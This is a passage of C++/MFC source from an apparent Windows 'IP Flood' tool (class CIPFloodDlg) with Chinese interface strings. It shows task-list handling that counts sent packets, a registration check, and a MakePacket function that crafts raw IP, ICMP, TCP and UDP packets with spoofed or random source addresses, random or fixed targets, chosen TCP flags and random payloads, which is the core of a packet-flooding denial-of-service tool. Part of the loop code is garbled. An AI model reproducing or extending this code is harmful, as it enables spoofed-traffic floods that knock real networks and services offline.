			sprintf(sz,"%d",tmp->m_sent ); 
			LeaveCriticalSection(&(tmp->m_CriticalSetion)); 
			ListView_SetItemText(m_TaskList.m_hWnd,iItem,6,sz); 
			EnterCriticalSection(&(tmp->m_CriticalSetion)); 
			sprintf(sz,"%d",tmp->m_SendErrors  ); 
			LeaveCriticalSection(&(tmp->m_CriticalSetion)); 
			ListView_SetItemText(m_TaskList.m_hWnd,iItem,8,sz); 
		} 
		else 
		{	iCount=ListView_GetItemCount(m_TaskList.m_hWnd); 
			sprintf(tId,"%d",tmp->m_TaskID); 
			for(iItem=0;iItem>")) 
				{	strcpy(sz,sz+3); 
					if(!strcmp(tId,sz)) 
					{	//task stopped and not updated 
						ListView_SetItemText(m_TaskList.m_hWnd,iItem,0,sz); 
						ListView_SetItemText(m_TaskList.m_hWnd,iItem,4,"任务停止"); 
						sprintf(sz,"%d",tmp->m_sent ); 
						ListView_SetItemText(m_TaskList.m_hWnd,iItem,6,sz); 
					} 
				}//ignore stopped or stopped/updated tasks 
			}//search whole tasklist for taskID which task not updated 
		} 
		tmp=tmp->next;  
	} 
__noItem: 
	 
	KillTimer(1); 
	if(!CheckReg()) 
	{	 
		if(strlen(Adapters[0].mac)<=0 ) 
		{	 
			AfxMessageBox("您的计算机没有安装以太网卡\n或者\n所有以太网卡都已被\"禁用\""); 
			OnTasklistquit();return; 
		} 
		m_RegisterDlg.DoModal (); 
		if(m_RegPassed)///Register code Entered or Just quit,check code Valid 
			SetTimer(1,1000,NULL); 
		else 
			OnTasklistquit(); 
	}else 
		SetTimer(1,1000,NULL); 
	CDialog::OnTimer(nIDEvent); 
} 
 
void CIPFloodDlg::OnRclickTasklist(NMHDR* pNMHDR, LRESULT* pResult)  
{ 
	char sz[16]; 
	 
	LPPOINT lpoint=new tagPOINT; 
	::GetCursorPos(lpoint); 
	CMenu menu,*pSubMenu; 
 
	menu.LoadMenu (IDR_TASKLISTPOPUP); 
	pSubMenu = menu.GetSubMenu(0); 
	int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); 
	if(iItem==-1) 
	{//no task selected 
		pSubMenu->EnableMenuItem(ID_TASKLISTSTARTTASK,MF_GRAYED); 
		pSubMenu->EnableMenuItem(ID_TASKLISTSTOPTASK,MF_GRAYED); 
		pSubMenu->EnableMenuItem(ID_TASKLISTDELTASK,MF_GRAYED); 
 
	}else 
	{// task selected 
		ListView_GetItemText(m_TaskList.m_hWnd,iItem,0,sz,sizeof sz); 
		if(strstr(sz,">>")) 
		{//task running 
			pSubMenu->EnableMenuItem(ID_TASKLISTSTARTTASK,MF_GRAYED); 
			pSubMenu->EnableMenuItem(ID_TASKLISTDELTASK,MF_GRAYED); 
		} 
		else //task not running 
			pSubMenu->EnableMenuItem(ID_TASKLISTSTOPTASK,MF_GRAYED); 
	}		 
	if(SetupDlgShow) 
		pSubMenu->EnableMenuItem(ID_TASKLISTADDTASK,MF_GRAYED); 
	pSubMenu->TrackPopupMenu(TPM_LEFTALIGN,lpoint->x,lpoint->y,this); 
	HMENU hmenu=menu.Detach(); 
	DestroyMenu(hmenu); 
	delete lpoint; 
	*pResult = 0; 
} 
 
int	MakePacket(pTaskItem tItem,char *data) 
{ 
	IPHDR	ipHeader; 
	char hostname[64],*p,*buf,*q; 
	int i; 
	struct hostent *ht; 
 
	ipHeader.VHlen=(0x40 | sizeof(ipHeader)/sizeof(unsigned long));  
	ipHeader.Tos=tItem->m_IpTos ; 
	ipHeader.TLen=htons(tItem->m_IpLen) ;  
	ipHeader.Ident=htons(tItem->m_ProcessID)  ;  
	ipHeader.FragOffset=htons(tItem->m_IpFragOffset );  
	ipHeader.TTL=tItem->m_IpTTL ;  
	ipHeader.Protocol=tItem->m_IpProtocol ;  
	ipHeader.Checksum=0;  
 
	////change according to m_RandomIP and m_SpecialIP 
	if(tItem->m_SpecialSrcIp ) 
		ipHeader.SrcIP =htons((UINT)(tItem->m_SrcIP)); 
	else if(tItem->m_RandomSrcIp || tItem->m_IncSrcIP) 
	{ 
		tItem->m_IncSrcIP?ipHeader.SrcIP=RandomIP(0):ipHeader.SrcIP=RandomIP(1); 
	}else 
	{ 
		gethostname(hostname,sizeof hostname); 
		ht=gethostbyname(hostname); 
		if(!ht) 
		{ 
			AfxMessageBox("错误: 取得本地IP地址错误!");	tItem->m_State =false; 
			return false;  
		} 
		sprintf(hostname,"%s", inet_ntoa(*(struct in_addr *)*ht->h_addr_list)); 
		ipHeader.SrcIP=inet_addr(hostname); 
	} 
	if(tItem->m_RandomDestIp || tItem->m_IncDestIP) 
	{ 
		tItem->m_IncDestIP?ipHeader.DestIP=RandomIP(0):ipHeader.DestIP=RandomIP(1); 
	}else 
		ipHeader.DestIP=tItem->m_DestIP ; 
	ipHeader.Checksum=checksum((USHORT *)&ipHeader,sizeof ipHeader); 
 
	p=data; 
	memcpy(data,(void *)&ipHeader,sizeof ipHeader); 
	 
	pICMPHDR	picmphdr=(pICMPHDR)(data+sizeof IPHDR); 
	pTCPHDR		ptcphdr=(pTCPHDR)(data+sizeof IPHDR); 
	pUDPHDR		pudphdr=(pUDPHDR)(data+sizeof IPHDR); 
	pPSHDR		pshdr; 
	switch(tItem->m_IpProtocol ) 
	{ 
	case IPPROTO_ICMP: 
		picmphdr->type =tItem->m_IcmpType ; 
		picmphdr->code =tItem->m_IcmpCode ; 
		picmphdr->Ident =htons(0x4321);//tItem->m_ProcessID) ; 
		picmphdr->Seqence =htons(0x1234);//(UINT)rand()); 
		picmphdr->checksum =0; 
		p=data+sizeof IPHDR+sizeof ICMPHDR; 
		break; 
	case IPPROTO_TCP: 
		ptcphdr->SrcPort =htons(tItem->m_PSrcPort ); 
		ptcphdr->DestPort =htons(tItem->m_PDestPort ); 
		ptcphdr->Sequence =htonl(0x1234abcd); 
		ptcphdr->Flag =tItem->m_TcpFlag ; 
		if((ptcphdr->Flag & 0x10)) 
			ptcphdr->Ack =htonl(tItem->m_TcpAckNumber ); 
		else		ptcphdr->Ack =htonl(0x0); 
		ptcphdr->Offset =(BYTE)(sizeof(TCPHDR)/sizeof(UINT))<<4; 
		ptcphdr->Winsize =htons(0xac00); 
		if((ptcphdr->Flag & 0x20)) 
			ptcphdr->Ptr=htons(tItem->m_TcpPtr); 
		else  
			ptcphdr->Ptr =htons(0x0); 
		ptcphdr->Checksum =htons(0); 
		p=data+sizeof IPHDR +sizeof TCPHDR; 
		break; 
	case IPPROTO_UDP: 
		pudphdr->SrcPort =htons(tItem->m_PSrcPort) ; 
		pudphdr->DestPort =htons(tItem->m_PDestPort) ; 
		pudphdr->TLen =htons(tItem->m_IpLen -sizeof IPHDR); 
		pudphdr->Checksum =0; 
		p=data+sizeof IPHDR +sizeof UDPHDR; 
		break; 
	default: 
		break; 
	} 
	i=tItem->m_IpLen -(p-data); 
	q=p; 
	if(tItem->m_FillRandom ) 
		for(;i>0;i--,p++,srand((UINT)i)) 
			*p=(char)(rand()%255); 
	else if(i>0) 
		memset(p,tItem->m_FillVal ,i); 
 
	if(tItem->m_IpProtocol==IPPROTO_TCP || tItem->m_IpProtocol==IPPROTO_UDP) 
	{ 
		buf=(char *)malloc(tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR+1);  
		if(!buf) return -1; 
		memset(buf,0,tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR+1); 
		pshdr=(pPSHDR)buf; 
		pshdr->mbz =0; 
		tItem->m_IpProtocol==IPPROTO_TCP?pshdr->ip_protocol =IPPROTO_TCP: \ 
			pshdr->ip_protocol =IPPROTO_UDP; 
		pshdr->t_len =htons(tItem->m_IpLen -sizeof IPHDR)  ; 
		pshdr->ipsrc =ipHeader.SrcIP ; 
		pshdr->ipdest =ipHeader.DestIP ; 
	} 
 
	switch(tItem->m_IpProtocol) 
	{ 
		case IPPROTO_ICMP: 
				i=tItem->m_IpLen -sizeof ipHeader; 
				picmphdr->checksum =checksum((USHORT*)(data+sizeof ipHeader),i); 
			break; 
		case IPPROTO_TCP: 
			memcpy(buf+sizeof PSHDR,ptcphdr,sizeof TCPHDR); 
			memcpy(buf+sizeof PSHDR+sizeof TCPHDR,q,tItem->m_IpLen -sizeof IPHDR-sizeof TCPHDR); 
			ptcphdr->Checksum =checksum((USHORT*)buf,tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR); 
			if (buf)	free(buf); 
			break; 
		case IPPROTO_UDP: 
			memcpy(buf+sizeof PSHDR,pudphdr,sizeof UDPHDR); 
			memcpy(buf+sizeof PSHDR+sizeof UDPHDR,q,tItem->m_IpLen -sizeof IPHDR-sizeof UDPHDR); 
			pudphdr->Checksum =checksum((USHORT*)buf,tItem->m_IpLen -sizeof IPHDR+sizeof PSHDR); 
			if (buf)	free(buf); 
			break; 
		default: 
			break; 
	} 
	//DumpPacket(data,tItem->m_IpLen ); 
	return 0; 
} 
 
BOOL CIPFloodDlg::PreTranslateMessage(MSG* pMsg) 
{ 
	m_tooltip.RelayEvent(pMsg);
	return CDialog::PreTranslateMessage(pMsg);	// CG: This was added by the ToolTips component. 
}